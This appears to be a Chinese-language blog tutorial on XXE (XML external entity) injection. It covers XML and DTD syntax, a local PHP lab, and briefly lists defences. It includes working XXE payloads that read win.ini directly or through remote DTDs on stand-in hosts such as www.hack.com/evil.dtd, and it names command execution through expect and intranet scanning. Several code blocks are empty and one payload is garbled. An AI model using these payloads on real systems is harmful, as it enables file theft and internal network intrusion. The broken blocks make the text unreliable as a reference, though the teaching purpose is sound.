浅谈XXE漏洞
0x00 XML
XML是可扩展标记语言,标准通用标记语言的子集,是一种用于标记电子文件使其具有结构性的标记语言,与HTML的不同在于XML被设计用来传输和存储数据而HTML被设计用来显示数据。
XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素。
XML声明即是位于XML文档开始部分的第一行,规定了xml版本和编码格式。
1 |
|
DTD(Document Type Definition) 即文档类型定义,用来为XML文档定义语义约束。可以嵌入在XML文档中(内部声明),也可以独立的放在一个文件中(外部引用)。
文档元素即下面例子中note中所有部分,每个xml文档必须包含一个根元素,下面的例子中根元素就是note
1 |
|
0x01 DTD(Document Type Definition)
上面我们只是简要说了一下XML的结构,下来我们拿出我们重点关注的DTD文档类型定义来详细说明一下。
DTD 引用方式
- 1.DTD 内部声明
1
<!DOCTYPE 根元素 [元素声明]>
- 2.DTD 外部引用
1
<!DOCTYPE 根元素名称 SYSTEM “外部DTD的URI”>
- 3.引用公共DTD
1
<!DOCTYPE 根元素名称 PUBLIC “DTD标识名” “公用DTD的URI”>
DTD 实体声明
- 1.内部实体声明一个实体由三部分构成:&符号, 实体名称, 分号 (;),这里&不论在GET还是在POST中都需要进行URL编码,因为是使用参数传入xml的,&符号会被认为是参数间的连接符号
1
<!ENTITY 实体名称 “实体的值”>
- 2.外部实体声明外部引用可支持http,file等协议,不同的语言支持的协议不同。
1
<!ENTITY 实体名称 SYSTEM “URI/URL”>
0x02 XXE(XML External Entity attack)
XML外部实体注入,简称XXE。XXE使攻击者能够从服务器或连接网络泄露正常受保护的文件。
有了XML实体,关键字‘SYSTEM’会令XML解析器从URI中读取内容,并允许它在XML文档中被替换。因此,攻击者可以通过实体将他自定义的值发送给应用程序,然后让应用程序去呈现。
简单来说,攻击者强制XML解析器去访问攻击者指定的资源内容(可能是系统上本地文件亦或是远程系统上的文件)。
0x03 XXE环境搭建
我们新建一个存在xxe漏洞的index.php,写入
1 |
|
我们尝试一个正常使用的例子,在firefox的hackbar插件中传入数据
1 |
|
可以得到回显:
此时,我们的环境搭建完成。
0x04 恶意代码的利用方式
我们上面已经说过引用实体的方式,我们这里可以采用这几种方式在hackbar的post中写入恶意代码:
1直接使用
1
2
3
4
5<?xml version="1.0"?>
<!DOCTYPE a [
<!ENTITY b SYSTEM "file:///c:/windows/win.ini">
]
<c>&b;</c>2调用远程dtd
1
2
3
4
5<?xml version="1.0"?>
<!DOCTYPE a [
<!ENTITY b SYSTEM "http://xxxx.com/xxx.dtd">
]
<c>&b;</c>在xxxx.com的xxx.dtd中写入
1
<!ENTITY b SYSTEM "file:///c:/windows/win.ini" >
3无回显时发送给远程服务器
1
2
3
4
5
6
7
8<?xml verstion="1.0" encoding="utf-8"?>
<!DOCTYPE a[
<!ENTITY % f SYSTEM "http://www.hack.com/evil.dtd">
%f;
]>
<a>&b;</a>
$data = simplexml_load_string($xml);
print_r($data);其中远程服务器中evil.dtd
1
<!ENTITY b SYSTEM "file:///c:/windows/win.ini">
0x05 xxe攻击方式
文件读取
通过file协议任意读取文件
1 |
|
命令执行
通过expect协议进行命令执行
1 |
|
内网扫描
通过simplexml_load_string函数访问内网ip和端口进行扫描
1 |
|
1 |
|
内网攻击
通过simplexml_load_string函数中带有恶意代码的url对内网网站进行攻击,直接在内网url的get参数中提交payload
1 |
|
0x06 应对
- 1.禁用外部实体
- 2.过滤用户提交的xml信息
本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!